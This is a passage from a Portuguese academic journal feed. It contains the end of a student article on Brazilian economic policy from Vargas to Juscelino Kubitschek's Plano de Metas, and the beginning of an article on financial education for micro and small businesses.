<p class="wp-block-paragraph">Com tudo isso, Vargas ressurge no âmbito da política nacional para um mandato de 1951 a 1954. Tinha como base de campanha a defesa da industrialização e a necessidade de ampliação das leis trabalhistas. O presidente modulou seu discurso de forma populista, ajustando-o ao público com quem iria falar. Consoante, nas eleições presidenciais de 1950, Vargas obteve vitória gigante, totalizando 48,7% do total de votos. Derrotou nomes como Eduardo Gomes, que obteve 29,66% e Cristiano Machado, com 21,49% dos votos (Fausto, 1995).</p>



<p class="wp-block-paragraph">Para Lacerda (2010), um dos principais pontos desta passagem de Vargas pelo poder foi a criação do Banco Nacional do Desenvolvimento (BNDS), que posteriormente foi fundamental para financiamentos que deram continuidade ao desenvolvimento industrial consequente. Outro ponto importante a ser citado foi a criação, em 1953, da “A Instrução N°70” da superintendência da moeda e do crédito (Sumoc)<sup>4</sup>, que alvoreceu o chamado confisco cambial. A medida significava que o governo ficaria com uma parte dos dólares da venda do café ao exterior – visto que o café alcançava valores astronômicos no mercado externo – com o objetivo de financiar projetos posteriores (Fausto, 1995).</p>



<p class="wp-block-paragraph">Em 10 de Maio de 1954, Vargas anunciava um aumento de 100% no salário-mínimo, devido à forte articulação grevista, ato este que provocou uma tempestade de críticas e protestos por parte das classes dominantes. Essa medida tendia a agravar a inflação. Portanto, um acontecimento traumático inflamou as forças armadas. Conforme apurou-se posteriormente, pessoas próximas a Vargas sugeriram que Lacerda<sup>5</sup> deveria ser removido da cena política (Fausto, 1995). Em 05 de agosto de 1954, um pistoleiro tentou contra a vida de Lacerda. A tentativa falha de assassinato foi atribuída a Vargas, provocando indignação geral e ocasionando uma perda importante de apoio das forças armadas ao governo, que passou a ser visto isolado.</p>



<p class="wp-block-paragraph">O desfecho da crise foi o suicídio de Vargas a 24 de agosto de 1954. Segundo Fiori (1995), houve em Vargas uma atitude de doutrina desfigurada, em que o governo não conseguia dialogar com a burguesia industrial em prol do desenvolvimento da sociedade como um todo.</p>



<p class="wp-block-paragraph"><strong>Café Filho Presidente do Brasil</strong></p>



<p class="wp-block-paragraph">Com o suicídio de Vargas, Café Filho, então vice-presidente, assume o posto de presidente do Brasil no período de 1954 e 1955. Durante o curto espaço de tempo em que governou o país, Café Filho executou duas políticas econômicas distintas. Uma foi completamente ortodoxa e tinha como prioridade a política anti-inflacionária. Essa medida foi a “Instituição 113 da Sumoc”<sup>6</sup>, que permitia a empresas estrangeiras importar máquinas e equipamentos sem obstáculos, deixando livre a entrada de capital estrangeiro. Além disso, os gastos públicos foram cortados, colocando em prática uma tendência keynesiana. Com isso, foi ocasionada uma forte contração monetária. O resultado foi a falta de liquidez que provocou uma crise bancária (Lacerda, 2010).</p>



<p class="wp-block-paragraph">Devido à crise bancária, o governo de Café Filho via-se obrigado a intervir para tentar estancar mais uma crise financeira. A ação tomada por Whitaker, ministro da pasta responsável, foi uma profunda reforma cambial na tentativa de unificar as distintas taxas existentes na época. Porém, segundo Lacerda (2010), a proposta não foi bem-vista pela cúpula política e o ministro foi exonerado sem ter visto seu plano em prática. Juntamente com o avanço da crise, Café Filho perdeu força política e nas eleições presidenciais em 03 de outubro 1955 viu Juscelino Kubistchek ser eleito com 36% dos votos (deixando para trás Juarez com 30%, Ademar com 26% e Plinio Salgado com 8%). Com isso, a chapa Kubistchek e Goulart era escolhida para assumir a presidência do Brasil.</p>



<p class="wp-block-paragraph"><strong>Carlos Luz, o presidente a ficar menos tempo no cargo.</strong></p>



<p class="wp-block-paragraph">Em 03 de novembro de 1955, Café Filho sofreu um ataque cardíaco, o que o impossibilitou de continuar na cadeira de presidente do Brasil. Em seu lugar, como determinava a constituição, assumiu o presidente da câmara dos deputados, Carlos Luz, que entrou para a história como a pessoa a ocupar o cargo de presidente pelo menor tempo, apenas 3 dias, pois ele planeja um golpe de estado que não deixaria Juscelino assumir o poder no ano seguinte. Todavia, de acordo com Fausto (1995), o ministro da guerra, general Lott o impede de tal feito.</p>



<p class="wp-block-paragraph"><strong>Nereu Ramos o encarregado de garantir a posse de JK.</strong></p>



<p class="wp-block-paragraph">A partir desse momento, conforme relata Fausto (1995), ocorreu um golpe preventivo contra a tentativa de golpe, com o objetivo de assegurar a posse do presidente eleito. Carlos Luz foi rapidamente deposto, e, em 11 de novembro de 1955, o Congresso Nacional se reuniu para apreciar a situação. Diante da tentativa de golpe, Carlos Luz foi considerado impedido de permanecer na presidência, sendo substituído pelo vice-presidente do Senado, o advogado Nereu Ramos, que ocupou o cargo até a posse de Juscelino Kubitschek, no início de 1956.</p>



<p class="wp-block-paragraph"><strong>Plano de Metas</strong></p>



<p class="wp-block-paragraph">De acordo com Fausto (1995), após eleito, JK definiu sua política econômica em um programa nacionalista chamado Plano de Metas, que abrangia 31 objetivos distintos, distribuídos em 6 grandes grupos: energia, transporte, alimentação, indústria de base e educação e construção de Brasília que era a meta-síntese. Segundo (Lessa, 1981, p. 27), o Plano de Metas, “constituiu a mais sólida decisão consciente em prol da industrialização na história econômica do país”. Um programa econômico que se vinculava ao seu slogan de campanha 50 anos em 5. O que significava desenvolver o país em cinco anos, o que levaria 50.</p>



<p class="wp-block-paragraph">De acordo com o livro <em>Programas de Metas do Presidente Juscelino Kubitschek</em> (Brasil, 1958), o Plano de Metas ou programa de metas foi elaborado com estudos e pareceres das maiores autoridades competentes e especializadas em cada assunto que se constituía de uma série de programas setoriais com investimentos a serem destinados na execução de obras e a expansão e/ou implementação de industriais e serviços indispensáveis ao desenvolvimento do país. O plano de metas não foi apenas um plano teórico, foi elaborado em contato com a realidade, foi necessário um grande esforço na coordenação das atividades com enorme número de entidades públicas e privadas.</p>



<p class="wp-block-paragraph">Principais metas:</p>



<ul class="wp-block-list">
<li>Energia: elevação da potência instalada em 60% com obras a serem executadas fazendo com que a potência atingisse 260% de kW até 1965, instalação de uma central atômica no país, aumento de 50% da produção de carvão, aumento na produção diária de petróleo em 1500%&nbsp;</li>



<li>Transportes: reaparelhamento das ferrovias com compra de 1500 vagões, construção de 2100 km de ferrovias, pavimentação asfáltica, construção de 1200 km de novas rodovias e renovação da frota aérea comercial.</li>



<li>Alimentação: aumento na produção de alimentos primários, construção de armazéns tipo silo para grãos, construção de armazéns frigoríficos, construção de matadouros industriais, compra de tratores para uso agrícola e aumento substancial na produção de adubos químicos.</li>



<li>Indústrias de base: aumento na produção de aço em 100%, na produção de alumínio em 720% do cimento em 100%, expansão no refino de metais não ferrosos, e crescimento na produção de álcalis, celulose e borracha, e implementação de indústrias automobilísticas e materiais elétricos.</li>



<li>Educação: ensino primário, prevê-se aumento de 40000 alunos em 1958, 120000 em 1959, 220000 em 1969 e 340000 em 1961, no ensino médio a meta é o aperfeiçoamento técnico-pedagogo sobretudo no ensino industrial e agrícola, construção de novas escolas e ampliação de equipamentos. Ao nível superior é dada a meta de aumentar em 1000 alunos por ano na graduação de engenharia e construção de instalações para tal.</li>
</ul>



<p class="wp-block-paragraph"><strong>A CONSTRUÇÃO DE BRASÍLIA: COMO SURGIU BRASÍLIA?</strong></p>



<p class="wp-block-paragraph">A ideia de levar a capital do país ao seu interior era antiga, remontado desde a época da inconfidência mineira, a partir deste ponto foi rolando através da história tupiniquim este desejo. Contudo nunca apareceu alguém suficientemente capaz de realizá-la e a converter em realidade, coube a Juscelino Kubitscheck a audaciosa tarefa de levar a capital do brasil para seu interior, como aponta no livro <em>Por que Construí Brasília</em> de Juscelino Kubitschek (2000). A nova capital traria mais desenvolvimento para o centro oeste, e possibilitaria a ampliação de comunicação entre regiões distantes que teriam a capital como ponto de encontro (Amaral, 2003).</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">O financiamento do Programa de Metas foi, durante todo o governo de JK, um dos pontos frágeis e de mais difícil solução. O país não contava com uma poupança interna capaz de arcar com os elevados custos da plataforma governamental. No plano internacional, os empréstimos de governo a governo, que prevaleceram no imediato pós-guerra, estavam francamente descartados em favor da inversão direta de capitais em economias consideradas promissoras. Diante desse quadro, Juscelino implementou grande parte do Plano de Metas emitindo papel moeda e incentivando a instalação de multinacionais no país, o que resultou no aumento inflacionário e na ampliação da presença do capital internacional na economia brasileira (Malan, 1984, p. 66 e 83). Essa opção juscelinista ficava, com o passar de seu governo, cada vez mais evidente, gerando fortes críticas de setores do movimento nacionalista. De acordo com o deputado udenista pelo Ceará, Adail Barreto: &#8220;&#8230; nós da Frente Nacionalista temos declarado em toda parte por onde andamos, aqui na tribuna da Câmara ou nas semanas nacionalistas feitas em diversos Estados: somos contra o capital colonizador, venha ele de onde vier&#8230;&#8221; (Moreira, 1998b, p. 345 apud Moreira, 2008, p. 171).</p>
</blockquote>



<p class="wp-block-paragraph">JK adotou como prática a industrialização, porém, esse modelo de industrialização não era novidade no Brasil. Ele já havia sido inaugurado na Era Vargas. Tratava-se de uma política industrial conhecida como industrialização por substituição, em que você passava a produzir produtos que antes eram importados. A política de JK era relativamente diferente da de Vargas. Enquanto o Estado cumpria um papel decisivo na política industrial de Vargas, no JK também o Estado vai cumprir isso, só que ele também vai abrir as portas para o capital estrangeiro, incentivando a vinda de multinacionais, bem como também a redução aos incentivos fiscais para empresas e para capitais&nbsp;estrangeiros.</p>



<p class="wp-block-paragraph">JK possuía como modelo de desenvolvimento econômico três bases:&nbsp;</p>



<ul class="wp-block-list">
<li>Capital Nacional Estatal; que era responsável pela criação e ampliação da infraestrutura, como por exemplo as rodovias e também responsável pelos investimentos nas indústrias base.</li>



<li>Capital Externo Privado; era responsável pela criação das indústrias de bens de consumos duráveis, com ênfase na automobilística, onde demandavam um nível de investimentos tecnológicos alto.</li>



<li>Capital Nacional Privado; essa era responsável pela criação de indústrias com bens de consumo não duráveis como por exemplo a alimentícia e têxtil, aqui a demanda de investimento tecnológico era baixa.</li>
</ul>



<p class="wp-block-paragraph">Os investimentos estatais em infraestrutura tinham como objetivo criar condições favoráveis para atrair as indústrias estrangeiras, principalmente as automobilísticas. Grande parte dos investimentos estatais ocorriam através de empréstimos internacionais, ampliando a dívida externa. Os investimentos estrangeiros praticamente se concentraram nos setores que demandavam altos investimentos tecnológicos, ampliando a dependência tecnológica externa.</p>



<p class="wp-block-paragraph">Segundo a análise de Fausto (1995), o termo &#8220;nacional-desenvolvimentismo&#8221; expressa, mais adequadamente do que &#8220;nacionalismo&#8221;, uma estratégia econômica voltada à promoção do desenvolvimento por meio da articulação entre o Estado, a iniciativa privada nacional e o capital estrangeiro, com foco especial na industrialização. Nessa perspectiva, o governo de Juscelino Kubitschek antecipou diretrizes que, posteriormente, seriam retomadas pelos regimes militares após 1964, embora em um contexto distinto.</p>



<p class="wp-block-paragraph">O resultado do plano de metas mostrara-se impressionante sobretudo no setor industrial que como todo cresceu 80% descontada a inflação do período 1955 e 1961, com ênfase na indústria de produção de aço com crescimento de 100%, na indústria mecânica 125%, eletricidade e comunicações 380% e transportes que alcançou a incrível marca de 600% de expansão. De 1957 a 1961 o PIB brasileiro cresceu a uma taxa anual de 7%, o que era maior em 3 vezes o PIB do restante da américa latina (Fausto, 1995).</p>



<p class="wp-block-paragraph">Ainda como resultado do plano de metas, durante o governo JK, grandes empresas automobilísticas se instalaram no ABC paulista, mudando o visual e levando a população da região a condições financeiras de ótima situação com geração de renda e aumento de riquezas, as quatro gigantes que ali se instalaram no período foram: Willys Overland, Ford, Volkswagen e General Motors, que chegaram a produzir 78% de toda frota de veículos vendidos no Brasil em 1960, conforme afirma Fausto (1995):</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">O Plano de Metas estimulou decisivamente o PSI<sup>7</sup>, especialmente no setor de bens de consumo duráveis, e mesmo em importantes áreas do setor de bens de capital, como nos ramos de máquinas-ferramentas e de equipamentos sob encomenda, particularmente no setor elétrico pesado. A economia brasileira, como afirmado, foi aquela em que o PSI mais avançou, quer na América Latina, quer no conjunto dos outros países não industrializados. A partir de então, o próprio sucesso do PSI exigia a transição para um modelo autossustentado de crescimento. Assim, já no início dos anos 1960, Maria da Conceição Tavares considerou a hipótese de esgotamento do PSI, com a diminuição de seus efeitos positivos sobre a dinâmica industrial brasileira (Lacerda, 2010, p. 154).</p>
</blockquote>



<p class="wp-block-paragraph">Para Fausto (1995), na memória dos brasileiros, os cinco anos de governo JK são lembrados como um período de otimismo associado a grandes realizações, cujo qual maior exemplo é a construção da capital Brasília, também fica uma forte associação ao governo JK a instalação da indústria automobilística e a consolidação da industrialização, não que estes não existissem antes, porém durante seu governo tudo foi maximizado com a ajuda do plano de metas e seu lema de “50 anos de crescimento em 5”.</p>



<p class="wp-block-paragraph"><strong>Considerações finais</strong></p>



<p class="wp-block-paragraph">O Plano Salte e o Plano de Metas foram planos econômicos que visavam fortalecer a economia brasileira no século XX, buscando modernizar a infraestrutura e contribuições estratégicas específicas. Porém, o Plano Salte mostrou-se um fracasso devido à falta de recursos e ao não cumprimento de suas metas. Por outro lado, o Plano de Metas teve resultados positivos e lançou o nome de Juscelino Kubistchek na lembrança de grande parte dos brasileiros como o fundador de Brasília e o responsável pelo processo de industrialização do país, impulsionado pelo seu lema 50 anos em 5.</p>



<p class="wp-block-paragraph">Como pontos negativos, o Plano Salte enfrentou críticas principalmente devido à centralização de poder. Por sua vez, o Plano de Metas teve rejeição devido ao alto custo associado à implantação de projeto ambiciosos, fatos que geraram tensões políticas nas suas respectivas épocas.</p>



<p class="wp-block-paragraph">Contudo, podemos concluir, a partir das pesquisas realizadas para este artigo, que a política e economia estão fortemente ligadas. É possível ressaltar que uma certa desorganização no cenário político levou a decisões errôneas que trouxeram impactos para o cenário nacional. Conforme abordamos anteriormente, no decorrer de nossa história enquanto nação, inúmeros erros foram cometidos no campo da macroeconomia. Um desses erros foi permitir que o mercado se autorregulasse sem intervenção do governo, como ocorrido no governo Dutra, durante&nbsp;o&nbsp;Plano&nbsp;Salte.</p>



<p class="wp-block-paragraph">Porém, também podemos notar como os referidos planos foram importantes para o desenvolvimento econômico da época, visto que ambos tinham finalidade de atender uma parte da população que carecia de atenção, uma vez que os dois planos tinham áreas voltadas a alimentação e transporte. Como é possível verificar neste presente trabalho, tanto Dutra quanto JK obtiveram uma taxa de crescimento no PIB de 6% e 8% ao ano, respectivamente. Isso mostra que apesar de o Plano Salte ter sido um fracasso e o Plano de Metas ter sido um sucesso, ambos tiveram acertos e erros em seus governos.&nbsp;</p>



<p class="wp-block-paragraph">Por fim, destacamos que a intervenção do governo é de muita importância para o desenvolvimento de sua economia e que os grandes pensadores da Macroeconomia como Keynes defendem que não se pode deixar o mercado se autorregular, uma vez que este visa apenas a maximização de seus lucros. A história deixa claro que quando isso ocorre (assim como nos EUA nos anos 1920), é precedido de uma grande crise, ou pequenas crises como no governo Dutra, quando este precisou apresentar intervenções econômicas.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS:</strong></p>



<p class="wp-block-paragraph">AMARAL, Aracy Abreu.&nbsp;<em>Arte para que?</em> A preocupação social na arte brasileira, 1930-1970. 3. ed. São Paulo: Studio Nobel, 2003.</p>



<p class="wp-block-paragraph">AYRES, Leonardo S.; FONSECA, Pedro Cesar D. Liberalismo ou Desenvolvimento Associado? Uma Interpretação da Política Econômica do Governo Dutra (1946-1950).&nbsp;<em>Análise Econômica</em>, ano 35, n. especial, p. 209-232, 2017.</p>



<p class="wp-block-paragraph">BASTOS, Pedro Paulo Z. Liberal Esclarecido ou Aliado Fiel? Sobre a Natureza da Política Econômica Externa Brasileira no Governo Dutra (1946-1951).&nbsp;<em>Revista Economia</em>, v. 11, n. 4, p. 285-320, 2010.</p>



<p class="wp-block-paragraph">BIELSCHOWSKY, Pablo.&nbsp;<em>Pensamento econômico brasileiro na segunda metade da década de 1940: entre o liberalismo e o industrialismo</em>. 2020. v. 1-25. Disponível em: <a href="https://www.anpec.org.br/encontro/2020/submissao/files_I/i1-22b83cab713a82fc2defcbe631ccd3ce.pdf">https://www.anpec.org.br/encontro/2020/submissao/files_I/i1-22b83cab713a82fc2defcbe631ccd3ce.pdf</a>&nbsp; Acesso em: 20 de junho de 2025.</p>



<p class="wp-block-paragraph">BRASIL.&nbsp;Presidência da República.&nbsp;<em>Código comercial e constituição federal</em>. 13. ed. São Paulo: Saraiva, 2007.</p>



<p class="wp-block-paragraph">____________.&nbsp;<em>Programa de Metas do Presidente Juscelino Kubitschek</em>. Rio de Janeiro: Departamento de Imprensa Nacional, 1958.</p>



<p class="wp-block-paragraph">CAMPOS, A. L. V. E o Brasil continuava a ser um ´Imenso Hospital´. In: <em>Políticas Internacionais de Saúde na Era Vargas</em>: o Serviço Especial de Saúde Pública, 1942-1960 [online]. Rio de Janeiro: Editora FIOCRUZ, 2006, pp. 67-88. DOI:&nbsp;</p>



<p class="wp-block-paragraph"><a href="https://doi.org/10.7476/9786557081006.0005.">https://doi.org/10.7476/9786557081006.0005.</a></p>



<p class="wp-block-paragraph">CARVALHO, Sandra.&nbsp;Década de 1940: a economia mundial é abalada pela guerra<strong>.</strong>&nbsp;<em>Diário do Comércio</em>, 19 jul. 2022. Disponível em:&nbsp;<a href="https://diariodocomercio.com.br/especial/decada-de-1940-a-economia-mundial-e-abalada-pela-guerra/">https://diariodocomercio.com.br/especial/decada-de-1940-a-economia-mundial-e-abalada-pela-guerra/</a>. Acesso em: 11 out. 2023.</p>



<p class="wp-block-paragraph">COSTA, Marcos.&nbsp;<em>A história do Brasil para quem tem pressa</em>. 5. ed. Rio de Janeiro: Valentina, 2019.</p>



<p class="wp-block-paragraph">____________. <em>A história do Brasil para quem tem pressa</em>. 1. ed. Rio de Janeiro: Valentina, 2016.</p>



<p class="wp-block-paragraph">COVEY, Stephen R.&nbsp;<em>Os 7 hábitos das pessoas altamente eficazes</em>. 95. ed. Tradução de Alberto Cabral Fusaro et al. Rio de Janeiro: Best Seller, 2021.</p>



<p class="wp-block-paragraph">FAUSTO, Boris.&nbsp;<em>História do Brasil</em>. 2. ed. São Paulo: Edusp, 1995.</p>



<p class="wp-block-paragraph">FIORI, José Luís.&nbsp;<em>Em busca do dissenso perdido: ensaios críticos sobre a festejada crise do estado</em>. Rio de Janeiro: Insight, 1995.</p>



<p class="wp-block-paragraph">KEYNES, J. M.&nbsp;<em>Teoria geral do emprego, do juro e da moeda</em>. 1936.</p>



<p class="wp-block-paragraph">KUBITSCHEK, Juscelino.&nbsp;<em>Por que construí Brasília</em>. Brasília: Senado Federal, 2000.</p>



<p class="wp-block-paragraph">LACERDA, Antônio Corrêa et al.&nbsp;<em>Economia brasileira</em>. 4. ed. São Paulo: Saraiva, 2010.</p>



<p class="wp-block-paragraph">LESSA, C. Quinze anos de política econômica.&nbsp;<em>Brasiliense</em>, p. 27-91, 1981.</p>



<p class="wp-block-paragraph">MAMIGONIAN, Armen. Teorias sobre a Industrialização Brasileira.&nbsp;<em>Cadernos Geográficos</em>, Florianópolis, v. 23, n. 2, p. 1-51, maio 2000. Disponível em:&nbsp;<a href="https://cadernosgeograficos.ufsc.br/files/2016/02/Cadernos-Geogr%25C3%25A1ficos-UFSC-N%25C2%25BA-02-Teorias-sobra-a-industrial">https://cadernosgeograficos.ufsc.br/files/2016/02/Cadernos-Geogr%C3%A1ficos-UFSC-N%C2%BA-02-Teorias-sobra-a-industrial</a>. ISSN 1519-4639.</p>



<p class="wp-block-paragraph">MOREIRA, Vânia Maria Lousada. Os anos JK: Industrialização e modelo oligárquico de desenvolvimento rural.&nbsp;<em>O Brasil Republicano</em>, v. 3, p. 157-194, 2008.</p>



<p class="wp-block-paragraph">SARETTA, Fausto. Crescimento e Política Econômicos no Governo Dutra.&nbsp;<em>Estudos Econômicos</em>, v. 25, n. 3, p. 415-431, 1995.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">&nbsp;<sup>1</sup>Graduando em Administração. Faculdade de Ensino Superior de Linhares (FACELI). Avenida Pres. Costa e Silva, 177 – Novo Horizonte, Linhares, ES. <a href="mailto:Juninhoprado7@gmail.com">Juninhoprado7@gmail.com</a><br><sup>2</sup>Graduando em Administração. Faculdade de Ensino Superior de Linhares (FACELI). Avenida Pres. Costa e Silva, 177 – Novo Horizonte, Linhares, ES. <a href="mailto:jhoneferreiradearaujo@gmail.com">jhoneferreiradearaujo@gmail.com</a><br><sup>3</sup>Graduado em Administração pela Faculdade de Ciências e Educação do Espírito Santo e Ciências Contábeis pela Faculdade de Ciências Aplicadas Sagrado Coração, Mestre em Administração, Comunicação e Educação. <a href="mailto:coordadministracao@faceli.edu.br">coordadministracao@faceli.edu.br</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>O IMPACTO DA EDUCAÇÃO FINANCEIRA NA SUSTENTABILIDADE DAS MICRO E PEQUENAS EMPRESAS</title>
		<link>https://revistaft.com.br/o-impacto-da-educacao-financeira-na-sustentabilidade-das-micro-e-pequenas-empresas/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Thu, 19 Jun 2025 01:18:50 +0000</pubDate>
				<category><![CDATA[Administração]]></category>
		<category><![CDATA[Volume 29 – Edição 147/JUN 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=223658</guid>

					<description><![CDATA[THE IMPACT OF FINANCIAL EDUCATION ON THE SUSTAINABILITY OF&#160;MICRO AND SMALL ENTERPRISES REGISTRO DOI: 10.69849/revistaft/cl10202506182215 Abadia Helayne da Silva1Leonardo Camisassa2 Resumo&#160; O desenvolvimento das micro e pequenas empresas (MPEs) têm ganhado grande destaque no mercado financeiro brasileiro, refletindo sua importância para a economia e para a geração de riqueza no comércio nacional. Apesar do crescimento [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">THE IMPACT OF FINANCIAL EDUCATION ON THE SUSTAINABILITY OF&nbsp;MICRO AND SMALL ENTERPRISES</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202506182215</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Abadia Helayne da Silva<sup>1</sup><br>Leonardo Camisassa<sup>2</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo&nbsp;</strong></p>



<p class="wp-block-paragraph">O desenvolvimento das micro e pequenas empresas (MPEs) têm ganhado grande destaque no mercado financeiro brasileiro, refletindo sua importância para a economia e para a geração de riqueza no comércio nacional. Apesar do crescimento expressivo, as MPEs enfrentam desafios significativos, sobretudo relacionados à gestão financeira. O presente estudo tem como objeto analisar o impacto da educação financeira na sustentabilidade das micro e pequenas empresas (MPEs) no Brasil, destacando os principais desafios enfrentados por esses empreendimentos no campo da gestão financeira. O objetivo é compreender como a capacitação financeira contribui para o planejamento estratégico, o controle do fluxo de caixa, a redução da inadimplência e a tomada de decisões conscientes, fundamentais para a sobrevivência e o crescimento dos negócios. A metodologia adotada é bibliográfica, baseada na revisão de artigos acadêmicos, livros e publicações especializadas que abordam a gestão financeira e a educação financeira para MPEs. Os resultados indicam que a falta de conhecimento financeiro é um fator crítico para a alta mortalidade das MPEs, enquanto a educação financeira se mostra essencial para a adoção de práticas sustentáveis e para o aumento da competitividade dessas empresas. Conclui-se que promover programas de capacitação financeira é imprescindível para fortalecer o setor, reduzir falências e incentivar o desenvolvimento econômico no contexto brasileiro.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Educação Financeira; Gestão; Sustentabilidade empresarial; Competitividade.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">O impacto do grande desenvolvimento das micro e pequenas empresas (MPEs) frente ao mercado financeiro no Brasil tem ganhado notoriedade nos últimos anos. O desempenho dessas empresas na economia brasileira é notável, principalmente pela crescente busca dos cidadãos pelo empreendedorismo e pela vontade de gerir o próprio negócio. Assim sendo, o crescimento notável reflete a importância das MPEs no contexto econômico, tornando-as uma das principais responsáveis pela geração de riqueza no comércio brasileiro. Atualmente, o percentual das MPEs no Produto Interno Bruto (PIB) é quase equivalente ao das médias empresas, destacando a relevância desse setor na dinâmica da economia<sup>3</sup>.&nbsp;</p>



<p class="wp-block-paragraph">Entretanto, com esse crescimento, surgem também desafios estruturais que dificultam a gestão eficaz dessas empresas. Para Lucas Martins (2017) um dos principais obstáculos enfrentados pelos empreendedores de pequeno porte é a falta de conhecimento e domínio sobre a gestão financeira, que é fator determinante para a sobrevivência e expansão do negócio. Nesse contexto, a educação financeira se revela como um fator determinante para o sucesso das MPEs. A gestão financeira não se resume apenas ao controle de caixa, mas abrange a compreensão do planejamento estratégico, a análise de fluxo de caixa, a obtenção de crédito, e a tomada de decisões informadas que garantam a sustentabilidade da empresa.&nbsp;</p>



<p class="wp-block-paragraph">Primordialmente, sobre a figura do empreendedor, Gilberto Sarfati (2013) diz que muitas vezes sobrecarregado com múltiplas funções, deve ser capacitado para entender a importância da educação financeira. O conhecimento adequado pode evitar o fechamento precoce do negócio e garantir a continuidade do empreendimento. Assim, entre os diversos aspectos da gestão, o controle financeiro é um dos mais críticos, uma vez que ele está intimamente ligado à capacidade de tomar decisões estratégicas para o crescimento e a estabilidade da empresa.&nbsp;</p>



<p class="wp-block-paragraph">Posto isso, a falta de conhecimento financeiro adequado pode levar a falhas na gestão, o que contribui diretamente para a alta taxa de mortalidade dessas empresas, especialmente no primeiro ano de operação. Deste modo, a educação financeira emerge como uma ferramenta crucial, não apenas para a gestão eficiente dos recursos, mas também para a adoção de práticas sustentáveis que permitam o crescimento a longo prazo<sup>4</sup>. </p>



<p class="wp-block-paragraph">Ocasionalmente, este estudo visa&nbsp;contribuir para a formação de políticas e estratégias que promovam a capacitação dos empresários, visando à redução dos índices de falências e ao aumento da competitividade das MPEs no mercado.&nbsp;</p>



<p class="wp-block-paragraph">O objetivo principal deste estudo é analisar como a educação financeira pode impactar a sobrevivência e o desenvolvimento das micro e pequenas empresas no Brasil, identificando os principais desafios enfrentados pelas MPEs em relação à gestão financeira e avaliando a importância da educação financeira para o planejamento estratégico e a sustentabilidade desses negócios.&nbsp;</p>



<p class="wp-block-paragraph">Para alcançar esses objetivos traçados, a metodologia adotada para este estudo possui natureza bibliográfica, com base em uma revisão da literatura existente sobre o tema. Foram analisados artigos acadêmicos, livros e publicações especializadas que abordem a gestão financeira em micro e pequenas empresas, bem como a importância da educação financeira para a sobrevivência e o crescimento dos negócios. A pesquisa visa compilar dados de diferentes fontes para proporcionar uma visão abrangente dos desafios e das soluções financeiras aplicáveis às MPEs no contexto brasileiro.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>A EDUCAÇÃO FINANCEIRA E SUA IMPORTÂNCIA&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>2.1</strong><strong> </strong><strong>Educação Financeira: Principais Marcos Históricos no Brasil&nbsp;</strong></p>



<p class="wp-block-paragraph">A Organização para a Cooperação e Desenvolvimento Econômico (OCDE), responsável por pesquisas e estudos para melhorar políticas públicas em diversas áreas, entre seus países membros, incluiu, em 2003, a Educação Financeira em suas discussões. Disso resultou a elaboração de um projeto denominado “Educação Financeira”, cujo objetivo é levar a EF aos cidadãos dos países signatários, o que influenciou as discussões no Brasil, proporcionando aos cidadãos compreensão sobre a temática, desenvolvendo habilidades e comportamentos financeiros para a melhoria do seu bem-estar e, consequentemente, do bem-estar coletivo.&nbsp;</p>



<p class="wp-block-paragraph">Em 2007, no Brasil, o Comitê de Regulação e Fiscalização dos Mercados Financeiros, de Capitais, de Seguros, de Previdência e Capitalização (COREMEC) constituiu um grupo de trabalho. Em 2009, esse grupo propôs um rascunho da Estratégia Nacional de Educação Financeira (ENEF) brasileira. O rascunho foi estudado e avaliado pelo COREMEC e, em 2010, pelo Decreto Presidencial nº 7.3977, foi regulamentada a ENEF, com a finalidade de “promover a educação financeira e previdenciária e contribuir para o fortalecimento da cidadania, a eficiência e solidez do sistema financeiro nacional e a tomada de decisões conscientes por parte dos consumidores”.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nesse período, também foi criado o Comitê Nacional de Educação Financeira (CONEF), com o objetivo de gerir e coordenar programas da ENEF que ressaltam a disseminação da EF nas escolas de nível fundamental e médio, e em ações para aposentados e mulheres beneficiárias do Programa Bolsa Família.&nbsp;</p>



<p class="wp-block-paragraph">Em agosto de 2011, a ENEF foi publicamente lançada. Um projeto piloto de Educação Financeira para o Ensino Médio foi implementado em escolas públicas de alguns estados brasileiros: Ceará, Distrito Federal, Minas Gerais, Rio de Janeiro, São Paulo e Tocantins. O respectivo projeto objetivou a instrução dos sujeitos em relação ao uso consciente do dinheiro, com comportamentos e hábitos mais inteligentes financeiramente, colaborando, segundo a Estratégia, para o princípio de que sujeitos educados financeiramente contribuem para o bem-estar individual e coletivo.&nbsp;</p>



<p class="wp-block-paragraph">Em março de 2013, por meio do Decreto n° 7963<sup>5</sup>, foi instituído o PLANDEC (Plano Nacional de Consumo e Cidadania), com a finalidade de promover a proteção e defesa do consumidor em todo o território nacional, por meio da integração e articulação de políticas, programas e ações, promovendo, segundo o Decreto, no seu Artigo 3º, parágrafos do I ao VI, o atendimento das necessidades dos consumidores, incluindo o respeito a sua dignidade, saúde, segurança e a seus direitos. Além disso, disponibiliza o acesso a padrões de produção e consumo sustentáveis, promovendo transparência e harmonia nas relações de consumo.&nbsp;</p>



